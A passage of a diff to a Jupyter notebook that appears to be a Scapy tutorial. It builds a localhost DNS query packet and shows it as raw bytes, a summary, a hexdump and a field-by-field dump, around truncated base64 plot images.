2lKvwZPAuQFULka2BFsAM\nM1tEMOz0rZnVT2irRKJUiiACvAXMcfeXEt2Q8ubu/3D3Zu7eimCS4zh375rodpWXsDt/iZkdHxZd\nSNWalLsYOMfMapiZETxfVZiMW7R37jPglvC6G1CZ/yDY5dnM7GLg78AV0ZszVmI7n8/dv3f3hu7e\nyt1bEvxhcLq7V6kgKZVbhQ8iZvYr4CbgAjObHs4zuDjR7ZIyuRd418zSCVbNPJXg9pSb8NToocB0\nYAbBL4D+CW3UXjKz/wKTgOPNbLGZ3Qo8DfzGzH4g6AV6OpFt3FPFPNvLwBHA5+H/X15NaCP3QjHP\nF624871EEkYbmomIiEjCVPgeEREREam6FEREREQkYRREREREJGEURERERCRhFEREpFIzs9+Ghw7m\nm1mJe9QUd7ikmT0ZHug328zuDsuuMLMZ4Wq9KeEKvsL6+eF9ppvZp1HlE6LKl5rZx0V+zllmtsPM\nrglfNzOzaeFnZpnZnVF1rw9//iwzK3WVkpklmdnH4We+MbM2pX1GpCI4ONENEBGJl5l1BG5x9+hl\nqbOAq4HX47hF4eGSO0/YNbNbgCbhgX6Y2VHhW2Pd/bOw7BTgA+Ck8L1N4U7Bu3D386PuOxSIDinV\nCJY9j4r6yDLgF+6eZ2aHAbPNbBiwHXiGYM+PNeERCZ3cPbWEZ/sHMN3drzGzE4B/Eyy1FqnQ1CMi\nIpXNLnsOuPsP/7+9ewmRo4yiOP4/aBKDBhMZF2oMmnHhCCEbHwgiIgoKgiORoCARDBGSjQQXujUE\nJYLiLAQlqOB6CKOJG0VFF6IIwSg+Bh9BcSEqIqgRNMlx8d2elNJOi5uy2/ODobu+qrrV9GZu11dV\nx/anjHg+xjLhkjuBPZ1639frsc42ZwEnO8ujjrUGuJ5OI0JLaZ6n81TaCoH8vRZXd+puBBZt/1DL\nrwJbqvaUpHlJ79Tf1bXNZbUdtheBiyRNaiZQTJA0IhExbv7tA7n+LlxyGrhD0ruSXpJ0ydKBpFlJ\nHwMHaYF4A6tquuYtSbcOOdYs7YzKz1Xn/Bp76q+fX9J6SUeAL4F9FSr4GXBpTd2cXvteWLvMAY/b\nvjKq1GoAAAI0SURBVAq4HXimxo8AgymfK4ENjHGScPx/ZGomIv7zJL0NrATWAOskHa5VD9h+5R/s\nvxQuKek6/twMrAKO2b5C0m20SIlrAWwvAAuSrgH2AjfWPhtsfyPpYuA1Se/bPtqpeSewv7P8RH1W\ntySAU8e3/TWwuTJ8XpA0b/s7STtp00EnaE9L3Vi73ADMVKQAtKDFM2nTPnP13XxAe9rv8VHfTUTf\n8mTViBgbdY3I3bbvGbLudeB+24eHrHsYuIv2j3k1raE5YHubpI+Am2x/Vdv+aHvtkBpfAJd3pksG\n488BB20fqOVzgEXadSe/dfaF1oBMAb8A9w6uQenUehY4NKjVGd8BTNt+UNK3wPpB7WW+q6PApklK\nK4/JlKmZiJgkQ6dtRoRLLtDCCqmzJYv1fnqpaLsbZ0VdOLpW0soan6KlLXeDHLfSmomlRqFC5wbB\nc/PALtsvSrpA0hlVax0tjXtw/HM747s4dYblZVp+0+Czba7XsyWtqPc7gDfShMQ4yNRMRIw1SbO0\n4Lop4JCk92zfLOk8YL/tW0aU2EcLZdwN/ARsr/EtkrbR7mD5ldZgQLtz5mlJJ2g/5h6x/Umn3laW\nDwXsnoaeAR6TdJLWRD1q+8NaN1dNhoGHbH9e4/cBT9Z1JacBb9IalRngeUnHaY3RdiLGQKZmIiIi\nojeZmomIiIjepBGJiIiI3qQRiYiIiN6kEYmIiIjepBGJiIiI3qQRiYiIiN6kEYmIiIjepBGJiIiI\n3vwBiKfkY/e6SeUAAAAASUVORK5CYII=\n",
+      "text/plain": [
+       "<matplotlib.figure.Figure at 0x7f2c23bfbc50>"
+      ]
+     },
+     "metadata": {},
+     "output_type": "display_data"
+    },
+    {
+     "data": {
+      "text/plain": [
+       "[[<matplotlib.lines.Line2D at 0x7f2c2e113d10>],\n",
+       " [<matplotlib.lines.Line2D at 0x7f2c2e113f10>]]"
+      ]
+     },
+     "execution_count": 26,
+     "metadata": {},
+     "output_type": "execute_result"
+    }
+   ],
+   "source": [
+    "%matplotlib inline\n",
+    "ans.multiplot(lambda (x, y): (y[IP].src, (y.time, y[IP].id)), plot_xy=True)"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "The `raw()` constructor can be used to \"build\" the packet's bytes as they would be sent on the wire."
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 8,
+   "metadata": {},
+   "outputs": [
+    {
+     "name": "stdout",
+     "output_type": "stream",
+     "text": [
+      "b'E\\x00\\x00=\\x00\\x01\\x00\\x00@\\x11|\\xad\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x005\\x005\\x00)\\xb6\\xd3\\x00\\x00\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x03www\\x07example\\x03com\\x00\\x00\\x01\\x00\\x01'\n"
+     ]
+    }
+   ],
+   "source": [
+    "pkt = IP() / UDP() / DNS(qd=DNSQR())\n",
+    "print repr(raw(pkt))"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "Since some people cannot read this representation, Scapy can:\n",
+    "  - give a summary for a packet"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 10,
+   "metadata": {},
+   "outputs": [
+    {
+     "name": "stdout",
+     "output_type": "stream",
+     "text": [
+      "IP / UDP / DNS Qry \"www.example.com\" \n"
+     ]
+    }
+   ],
+   "source": [
+    "print pkt.summary()"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "  - \"hexdump\" the packet's bytes"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 18,
+   "metadata": {},
+   "outputs": [
+    {
+     "name": "stdout",
+     "output_type": "stream",
+     "text": [
+      "0000   45 00 00 3D 00 01 00 00  40 11 7C AD 7F 00 00 01   E..=....@.|.....\n",
+      "0010   7F 00 00 01 00 35 00 35  00 29 B6 D3 00 00 01 00   .....5.5.)......\n",
+      "0020   00 01 00 00 00 00 00 00  03 77 77 77 07 65 78 61   .........www.exa\n",
+      "0030   6D 70 6C 65 03 63 6F 6D  00 00 01 00 01            mple.com.....\n"
+     ]
+    }
+   ],
+   "source": [
+    "hexdump(pkt)"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "  - dump the packet, layer by layer, with the values for each field"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 11,
+   "metadata": {},
+   "outputs": [
+    {
+     "name": "stdout",
+     "output_type": "stream",
+     "text": [
+      "###[ IP ]###\n",
+      "  version   = 4\n",
+      "  ihl       = None\n",
+      "  tos       = 0x0\n",
+      "  len       = None\n",
+      "  id        = 1\n",
+      "  flags     = \n",
+      "  frag      = 0\n",
+      "  ttl       = 64\n",
+      "  proto     = udp\n",
+      "  chksum    = None\n",
+      "  src       = 127.0.0.1\n",
+      "  dst       = 127.0.0.1\n",
+      "  \\options   \\\n",
+      "###[ UDP ]###\n",
+      "     sport     = domain\n",
+      "     dport     = domain\n",
+      "     len       = None\n",
+      "     chksum    = None\n",
+      "###[ DNS ]###\n",
+      "        id        = 0\n",
+      "        qr        = 0\n",
+      "        opcode    = QUERY\n",
+      "        aa        = 0\n",
+      "        tc        = 0\n",
+      "        rd        = 1\n",
+      "        ra        = 0\n",
+      "        z         = 0\n",
+      "        ad        = 0\n",
+      "        cd        = 0\n",
+      "        rcode     = ok\n",
+      "        qdcount   = 1\n",
+      "        ancount   = 0\n",
+      "        nscount   = 0\n",
+      "        arcount   = 0\n",
+      "        \\qd        \\\n",
+      "         |###[ DNS Question Record ]###\n",
+      "         |  qname     = 'www.example.com'\n",
+      "         |  qtype     = A\n",
+      "         |  qclass    = IN\n",
+      "        an        = None\n",
+      "        ns        = None\n",
+      "        ar        = None\n"
+     ]
+    }
+   ],
+   "source": [
+    "pkt.show()"
+   ]
+  },
+  {
+   "cell_type": "markdown",
+   "metadata": {},
+   "source": [
+    "  - render a pretty and handy dissection of the packet"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 15,
+   "metadata": {
+    "scrolled": true
+   },
+   "outputs": [
+    {
+     "data": {
+      "image/png": "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\npfyV